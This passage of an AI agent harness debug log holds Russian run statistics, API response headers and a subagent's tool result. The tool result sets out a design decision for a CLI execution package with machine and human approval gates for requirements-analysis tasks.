\u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3540; episodes=19; turns=38; sessions=4; calendar_days=7.0\\nRUN-0044 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=3360; episodes=8; turns=16; sessions=1; calendar_days=0.0\\nRUN-0045 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=4500; episodes=27; turns=54; sessions=4; calendar_days=18.0\\nRUN-0046 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=23640; episodes=77; turns=154; sessions=16; calendar_days=28.2\\nRUN-0047 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=720; episodes=5; turns=10; sessions=1; calendar_days=0.0\\nRUN-0048 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=8280; episodes=30; turns=60; sessions=3; calendar_days=6.0\\nRUN-0049 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=8100; episodes=39; turns=78; sessions=9; calendar_days=14.2\\nRUN-0050 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=10320; episodes=49; turns=98; sessions=8; calendar_days=16.2\\nRUN-0051 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=18540; episodes=57; turns=114; sessions=11; calendar_days=50.1\\nRUN-0052 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=2100; episodes=10; turns=20; sessions=5; calendar_days=1.1\\nRUN-0053 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=24720; episodes=79; turns=158; sessions=14; calendar_days=14.8\\nRUN-0054 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0440\u0430\u0434\u0438 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438: \u043f\u0440\u0438; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=1620; episodes=9; turns=18; sessions=1; calendar_days=0.0\\nRUN-0055 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 ; verdict=works-with-edits; success_rate=0.8; tokens_input=[REDACTED]; tokens_output=[REDACTED]; tokens_thinking=[REDACTED]; tokens_dialog_total=[REDACTED]; duration_active_s=7020; episodes=16; turns=32; sessions=4; calendar_days=0.4\\nRUN-0056 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438; verdict=works-with-edits; success_rate=0.7; duration_active_s=10800\\nRUN-0057 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 ; verdict=works-with-edits; success_rate=0.63; duration_active_s=14400\\nRUN-0058 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0434\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 API \u0447\u0430\u0442\u043e\u0432 ; verdict=works-with-edits; success_rate=1.0; duration_active_s=9000\\nRUN-0059 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c HH.; verdict=works-with-edits; success_rate=1.0; duration_active_s=10800\\nRUN-0060 eval=\u0424\u043e\u0440\u043c\u0430\u0442 L4 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043d\u0430 \u043b\u0435\u0442\u0443 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d; verdict=works; success_rate=1.0; duration_active_s=14400\\nRUN-0061 eval=\u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d 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\"claude-opus-5-5\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"id\": \"msg_011CfXMkYcYpLGdccVEn28v7\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:24.439Z] [INFO]     \"content\": [\n[2026-09-29T07:45:24.439Z] [INFO]       {\n[2026-09-29T07:45:24.439Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:24.439Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:24.439Z] [INFO]         \"signature\": \"CAQSzgcKEAgSGAI4AUIIdGhpbmtpbmcSDKtSKsXlJ87PrfAGqRoMTDSRP/MZNSEz4odcIjAvyRD9b4/CGxL1CjMnTxF3KzJ0YePxweIORg1I5vGSvguUFSu9Jl+r09qbIdTlyp0q6wY7XPL3mlsPV7sKt5Di6siUw7D76YOJcbrPssmT6DyqwpU/eYDl4n5gO8Yg2PmMVu98uX1EbhpZL4fnefUGV+/Fgtsb6vYJ306afZxdcf145FaWJ2jF52gUEHludGtxUlt90gMAwgTuF6uDITE++T4U99dLfhiGOV0xOrX/rr3jjbcxCyzVKe4NDMcehKyNKW1EdHrJ9W8lmT851oxORoSJkdUT/2srXs4KltTxy9uhctN0k7vfo1HzG8VgemBZtmKzqtXh+cI4WxtX/RaPHLEFuMOgZCDvnknMB9kdBvCDF+275NTo85WBaCdw5IAW5iI8IGKhMgdJDxBYYJtLqRJWLlYfMq2bW41O1Nu0dzaDf3Y7GVaIZdrph7lG8+i1MCuNJ8725cirnGThUbeboFmgrA5B6QVmEKmjlWj1jNZ1GFrID3rEb4wkPe9ig9wa730wBxks7EEjZwdo8NMDg97obGjS38VQyIhw0IsQZa0vfVAH4iZiHmDl2BDOpdERl4ZjhEO30U1F44eyB5h/K8Waf3LQZCtl90H8qORMa2RLij87iy0aokgI0qBXGTwFZF8j/GJzE+QNynOsCl+pSTOuwDrvICAwrAhsRytCx0pnEu3Vsgj0Y1nPRL9wb7Exfm3mr83sem+D2OwTIqVq0q1xYzWFGYks5//p7WsZfjdE1B604OWmQP0s/IPwKxtUI483gtrvvykGwgfbMakbRPovM+CGm/UAyDuaLIzzhwzUYKNpL5QjiCzsWfwzjXAPtX6IEiKr7uk20OjNoqyqX1bOnv2tL2EC8zs4cBhFUE5+bUeuHL5SVLhxQSq/i0HtOa2o54nLxuG/8jF+t8T0zAenDmR7Dfr8qXfuA/ymyCrAp6xQP1r/Lt8MxgWwNCrhbUj3758XNZTEKdjA0NlFn0IZ5pjhnbjwxhAScwYMtm7YDkVADKjCqL24Mb0qOYzTKFe5fWrwh5bf8LGSQ52j5/O6Lf0BZP8Ov+rES4sDyHg6hSbFBJEydiuoMCOF7bMLbkl7rYx3fwmGZC31VYCjWkgPFBA2/ZxVbDfzPd3Kg9JUChb6gm6KSJTiJO3eTlKdmSl/zv7ioOt78WfpHY4cMouELGGJsnu1OTsooj7wyXg6OKTboqZZXDIEUVbjohxFj0WLwhBCYsCe30z+fBgB\"\n[2026-09-29T07:45:24.439Z] [INFO]       }\n[2026-09-29T07:45:24.439Z] [INFO]     ],\n[2026-09-29T07:45:24.439Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:24.439Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_creation_input_tokens\": 944,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_read_input_tokens\": 47343,\n[2026-09-29T07:45:24.439Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:24.439Z] [INFO]         \"ephemeral_5m_input_tokens\": 944,\n[2026-09-29T07:45:24.439Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:24.439Z] [INFO]       },\n[2026-09-29T07:45:24.439Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:45:24.439Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:24.439Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:24.439Z] [INFO]     },\n[2026-09-29T07:45:24.439Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:24.439Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:24.439Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:24.439Z] [INFO]   },\n[2026-09-29T07:45:24.439Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"uuid\": \"9831e4e6-a0d5-4ea6-9138-049b2820c62b\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:24.345Z\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"request_id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:24.439Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:24.439Z] [INFO] }\n[2026-09-29T07:45:24.984Z] [STDOUT] [log_57143d, request-id: \"req_011CfXMki63pUSdZyVHuLjxe\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 865ms\n[2026-09-29T07:45:24.989Z] [STDOUT] [log_57143d] response start {\n[2026-09-29T07:45:25.001Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.008Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:25.012Z] [STDOUT]   headers: {\n[2026-09-29T07:45:25.018Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:25.026Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:25.031Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:25.048Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:25.058Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:25.060Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.065Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:25.069Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:25.075Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:25.079Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:25.083Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:25.088Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:25.092Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:25.097Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.102Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:25.116Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:25.130Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:25.134Z] [STDOUT]     \"cf-ray\": \"a4295e3dcd064d8b-FRA\",\n[2026-09-29T07:45:25.139Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:25.148Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:25.155Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:25.160Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:25.166Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:24 GMT\",\n[2026-09-29T07:45:25.169Z] [STDOUT]     \"request-id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:25.175Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:25.177Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:25.179Z] [STDOUT]     traceresponse: \"00-9d5b9b9282ed12b78ccc39edaffdf8d9-6bfd12b291fd4f7f-01\",\n[2026-09-29T07:45:25.181Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:25.185Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:25.189Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:25.193Z] [STDOUT]   },\n[2026-09-29T07:45:25.197Z] [STDOUT]   durationMs: 865,\n[2026-09-29T07:45:25.206Z] [STDOUT] }\n[2026-09-29T07:45:25.214Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:25.230Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:24 GMT\",\n[2026-09-29T07:45:25.243Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:25.247Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:25.257Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:25.263Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:25.269Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:25.271Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:25.274Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:25.278Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:25.281Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:25.285Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:25.292Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:25.300Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:25.306Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:25.310Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:25.313Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:25.336Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.342Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:25.344Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:25.369Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:25.375Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:25.393Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:25.402Z] [STDOUT]   \"request-id\": \"req_011CfXMki63pUSdZyVHuLjxe\",\n[2026-09-29T07:45:25.409Z] [STDOUT]   \"traceresponse\": \"00-9d5b9b9282ed12b78ccc39edaffdf8d9-6bfd12b291fd4f7f-01\",\n[2026-09-29T07:45:25.424Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:25.437Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:25.456Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:25.461Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:25.464Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:25.467Z] [STDOUT]   \"cf-ray\": \"a4295e3dcd064d8b-FRA\",\n[2026-09-29T07:45:25.471Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:25.475Z] [STDOUT] [log_57143d] response parsed {\n[2026-09-29T07:45:25.480Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:25.483Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:25.487Z] [STDOUT]   body: X {\n[2026-09-29T07:45:25.490Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:25.494Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:25.497Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:25.499Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:25.501Z] [STDOUT]     },\n[2026-09-29T07:45:25.504Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:25.510Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:25.517Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:25.528Z] [STDOUT]   },\n[2026-09-29T07:45:25.535Z] [STDOUT]   durationMs: 865,\n[2026-09-29T07:45:25.538Z] [STDOUT] }\n[2026-09-29T07:45:25.666Z] [INFO] {\n[2026-09-29T07:45:25.666Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:25.666Z] [INFO]   \"message\": {\n[2026-09-29T07:45:25.666Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:25.666Z] [INFO]     \"content\": [\n[2026-09-29T07:45:25.666Z] [INFO]       {\n[2026-09-29T07:45:25.666Z] [INFO]         \"tool_use_id\": \"toolu_017ic1zPfW9enGVM33e5Xyei\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:25.666Z] [INFO]         \"content\": \"## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 